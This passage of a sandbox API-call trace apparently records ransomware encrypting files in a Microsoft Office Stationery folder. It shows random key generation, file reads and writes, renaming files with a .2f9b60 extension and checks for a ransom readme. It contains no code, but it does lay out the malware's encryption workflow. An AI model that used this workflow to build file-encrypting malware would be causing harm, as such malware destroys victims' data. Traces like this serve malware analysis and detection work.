Size=0x70) returned 0x1b79dbf0 [0118.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0118.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa290) returned 1 [0118.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0118.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0118.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0118.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc4990 [0118.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fbd170 [0118.031] ReadFile (in: hFile=0xe34, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0x1889, lpNumberOfBytesRead=0x3bf0fad0, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x3bf0fad0*=0x1889, lpOverlapped=0x0) returned 1 [0118.056] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.057] WriteFile (in: hFile=0xe34, lpBuffer=0x41fbd170*, nNumberOfBytesToWrite=0x1889, lpNumberOfBytesWritten=0x3bf0fad4, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesWritten=0x3bf0fad4*=0x1889, lpOverlapped=0x0) returned 1 [0118.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0118.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0118.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5c0) returned 1 [0118.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fbd170) returned 1 [0118.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc4990) returned 1 [0118.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aa5c0 [0118.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4d0 [0118.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4d0) returned 1 [0118.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aa4d0 [0118.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa530 [0118.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0118.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0118.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x168000 [0118.088] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0118.088] WriteFile (in: hFile=0xe34, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bf0fbf0, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x3bf0fbf0*=0x10a, lpOverlapped=0x0) returned 1 [0118.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168000) returned 1 [0118.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4d0) returned 1 [0118.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa530) returned 1 [0118.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5c0) returned 1 [0118.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0118.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa2f0) returned 1 [0118.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa650) returned 1 [0118.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa620) returned 1 [0118.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ae4c0 [0118.133] wcscpy (in: _Dest=0x1b7ae4c0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" [0118.133] wcscat (in: _Dest=0x1b7ae4c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.2f9b60" [0118.133] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.2f9b60", NtPathName=0x3bf0fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278cb0 [0118.133] NtSetInformationFile (FileHandle=0xe34, IoStatusBlock=0x3bf0fcb0, FileInformation=0x20278cb0, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0118.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278cb0) returned 1 [0118.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47780) returned 1 [0118.310] NtQueryInformationFile (in: FileHandle=0xe34, IoStatusBlock=0x3bf0fc78, FileInformation=0x3bf0fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3bf0fc78, FileInformation=0x3bf0fc88) returned 0x0 [0118.310] NtSetInformationFile (FileHandle=0xe34, IoStatusBlock=0x3bf0fc78, FileInformation=0x3bf0fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae4c0) returned 1 [0118.314] FlushFileBuffers (hFile=0xe34) returned 1 [0118.318] CloseHandle (hObject=0xe34) returned 1 [0118.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7add40 [0118.319] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0118.319] wcscat (in: _Dest=0x1b7add40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0118.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0118.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0118.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bc10) returned 1 Thread: id = 1326 os_tid = 0xf30 [0117.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.gif")) returned 0x20 [0117.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF", dwFileAttributes=0x20) returned 1 [0117.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe2c [0117.986] GetFileSizeEx (in: hFile=0xe2c, lpFileSize=0x3b5cf8a0 | out: lpFileSize=0x3b5cf8a0*=2074) returned 1 [0117.986] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x816, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.986] ReadFile (in: hFile=0xe2c, lpBuffer=0x3b5cf820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b5cf868, lpOverlapped=0x0 | out: lpBuffer=0x3b5cf820*, lpNumberOfBytesRead=0x3b5cf868*=0x4, lpOverlapped=0x0) returned 1 [0118.039] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa8f0 [0118.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa920 [0118.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa980 [0118.039] NtQuerySystemTime (in: CurrentTime=0x3b5cf760 | out: CurrentTime=0x3b5cf760*=132462177234814000) returned 0x0 [0118.039] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x76e59357 [0118.039] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0xd2e1081 [0118.039] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x6d2e8a54 [0118.039] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x5e546dd3 [0118.039] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x52ba45cc [0118.039] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x786adff9 [0118.039] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x57ef9678 [0118.039] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x35e3caa5 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x45fdc52e [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x4b3a74ba [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x14fa138e [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x42eb533a [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x1f97080a [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x1ab13570 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x82814bf [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x687290c3 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x293ab095 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x4ceb5d11 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x5a62dd50 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x9e6db2e [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x6eebc3d8 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x127f3e51 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x20d0b75c [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x5a479680 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x56f1783a [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x61bb8405 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x1c591742 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x45f77365 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x3196afc1 [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x3f1b1fee [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x1205fcee [0118.040] RtlRandomEx (in: Seed=0x3b5cf750 | out: Seed=0x3b5cf750) returned 0x1f97080a [0118.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9b0 [0118.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79daf0 [0118.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa950 [0118.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79daf0) returned 1 [0118.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa980) returned 1 [0118.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa8f0) returned 1 [0118.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0118.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79daf0 [0118.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa8f0 [0118.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa8f0) returned 1 [0118.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb9560 [0118.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc85a0 [0118.052] ReadFile (in: hFile=0xe2c, lpBuffer=0x41fb9560, nNumberOfBytesToRead=0x81a, lpNumberOfBytesRead=0x3b5cf750, lpOverlapped=0x0 | out: lpBuffer=0x41fb9560*, lpNumberOfBytesRead=0x3b5cf750*=0x81a, lpOverlapped=0x0) returned 1 [0118.052] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.052] WriteFile (in: hFile=0xe2c, lpBuffer=0x41fc85a0*, nNumberOfBytesToWrite=0x81a, lpNumberOfBytesWritten=0x3b5cf754, lpOverlapped=0x0 | out: lpBuffer=0x41fc85a0*, lpNumberOfBytesWritten=0x3b5cf754*=0x81a, lpOverlapped=0x0) returned 1 [0161.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a38f0 [0161.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3920 [0161.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3920) returned 1 [0161.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc85a0) returned 1 [0161.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb9560) returned 1 [0161.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79daf0) returned 1 [0161.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0161.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3920 [0161.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0161.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79daf0 [0161.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3950 [0161.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3950) returned 1 [0161.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3950 [0161.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3980 [0161.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a39b0 [0161.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a39b0) returned 1 [0161.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79daf0) returned 1 [0161.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0161.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce14510 [0161.158] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.158] WriteFile (hFile=0xe2c, lpBuffer=0x1ce14510, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3b5cf870, lpOverlapped=0x0) [0200.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abdf0 [0200.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abdf0) returned 1 [0200.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abdf0 [0200.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abb80 [0200.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abb80) returned 1 [0200.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8040 [0200.186] sprintf (in: _Dest=0x1b7d8040, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d8042, _Format="%c%c" | out: _Dest="31") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d8044, _Format="%c%c" | out: _Dest="47") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d8046, _Format="%c%c" | out: _Dest="00") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d8048, _Format="%c%c" | out: _Dest="9e") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d804a, _Format="%c%c" | out: _Dest="ac") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d804c, _Format="%c%c" | out: _Dest="e3") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d804e, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d8050, _Format="%c%c" | out: _Dest="da") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d8052, _Format="%c%c" | out: _Dest="43") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d8054, _Format="%c%c" | out: _Dest="4d") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d8056, _Format="%c%c" | out: _Dest="88") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d8058, _Format="%c%c" | out: _Dest="75") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d805a, _Format="%c%c" | out: _Dest="1e") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d805c, _Format="%c%c" | out: _Dest="7a") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d805e, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d8060, _Format="%c%c" | out: _Dest="09") returned 2 [0200.186] sprintf (in: _Dest=0x1b7d8062, _Format="%c%c" | out: _Dest="50") returned 2 [0200.187] sprintf (in: _Dest=0x1b7d8064, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.187] sprintf (in: _Dest=0x1b7d8066, _Format="%c%c" | out: _Dest="de") returned 2 [0200.187] sprintf (in: _Dest=0x1b7d8068, _Format="%c%c" | out: _Dest="e1") returned 2 [0200.187] sprintf (in: _Dest=0x1b7d806a, _Format="%c%c" | out: _Dest="d7") returned 2 [0200.187] sprintf (in: _Dest=0x1b7d806c, _Format="%c%c" | out: _Dest="e2") returned 2 [0200.187] sprintf (in: _Dest=0x1b7d806e, _Format="%c%c" | out: _Dest="18") returned 2 [0200.187] RtlInitAnsiString (in: DestinationString=0x3b5cf8e8, SourceString="ad3147009eace3b7da434d88751e7a4f09507cdee1d7e218" | out: DestinationString="ad3147009eace3b7da434d88751e7a4f09507cdee1d7e218") [0200.187] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b5cf8b8, SourceString="ad3147009eace3b7da434d88751e7a4f09507cdee1d7e218", AllocateDestinationString=1 | out: DestinationString="ad3147009eace3b7da434d88751e7a4f09507cdee1d7e218") returned 0x0 [0200.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1cddf830 [0200.188] wcscat (in: _Dest=0x431e3e40, _Source="ad3147009eac" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad3147009eac") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad3147009eac" [0200.188] wcscat (in: _Dest=0x431e3e40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad3147009eac.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad3147009eac.2f9b60" [0200.188] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad3147009eac.2f9b60", NtPathName=0x3b5cf890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ad3147009eac.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x431ed560 [0203.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ed560) returned 1 [0203.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42cc8db0) returned 1 [0203.670] NtQueryInformationFile (in: FileHandle=0xe2c, IoStatusBlock=0x3b5cf8f8, FileInformation=0x3b5cf908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b5cf8f8, FileInformation=0x3b5cf908) returned 0x0 [0203.670] NtSetInformationFile (FileHandle=0xe2c, IoStatusBlock=0x3b5cf8f8, FileInformation=0x3b5cf908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e3e40) returned 1 [0209.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf830) returned 1 [0209.495] FlushFileBuffers (hFile=0xe2c) returned 1 [0209.555] CloseHandle (hObject=0xe2c) returned 1 [0216.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4318b3a0 [0216.529] wcscpy (in: _Dest=0x4318b3a0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0216.529] wcscat (in: _Dest=0x4318b3a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0216.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0216.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318b3a0) returned 1 [0216.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bca0) returned 1 Thread: id = 1327 os_tid = 0x1004 [0117.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm")) returned 0x20 [0117.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM", dwFileAttributes=0x20) returned 1 [0117.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17a0 [0117.967] GetFileSizeEx (in: hFile=0x17a0, lpFileSize=0x3c4dfc00 | out: lpFileSize=0x3c4dfc00*=474) returned 1 [0117.967] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x1d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.967] ReadFile (in: hFile=0x17a0, lpBuffer=0x3c4dfb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c4dfbc8, lpOverlapped=0x0 | out: lpBuffer=0x3c4dfb80*, lpNumberOfBytesRead=0x3c4dfbc8*=0x4, lpOverlapped=0x0) returned 1 [0117.968] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9b0 [0117.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa980 [0117.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa950 [0117.969] NtQuerySystemTime (in: CurrentTime=0x3c4dfac0 | out: CurrentTime=0x3c4dfac0*=132462177234190000) returned 0x0 [0117.969] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x16e54c89 [0117.969] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x1fb6cb6d [0117.969] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x6570044d [0117.969] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x6e3af0c3 [0117.969] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x3a747ba [0117.969] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x1c1217c8 [0117.969] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x4673fb2d [0117.969] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 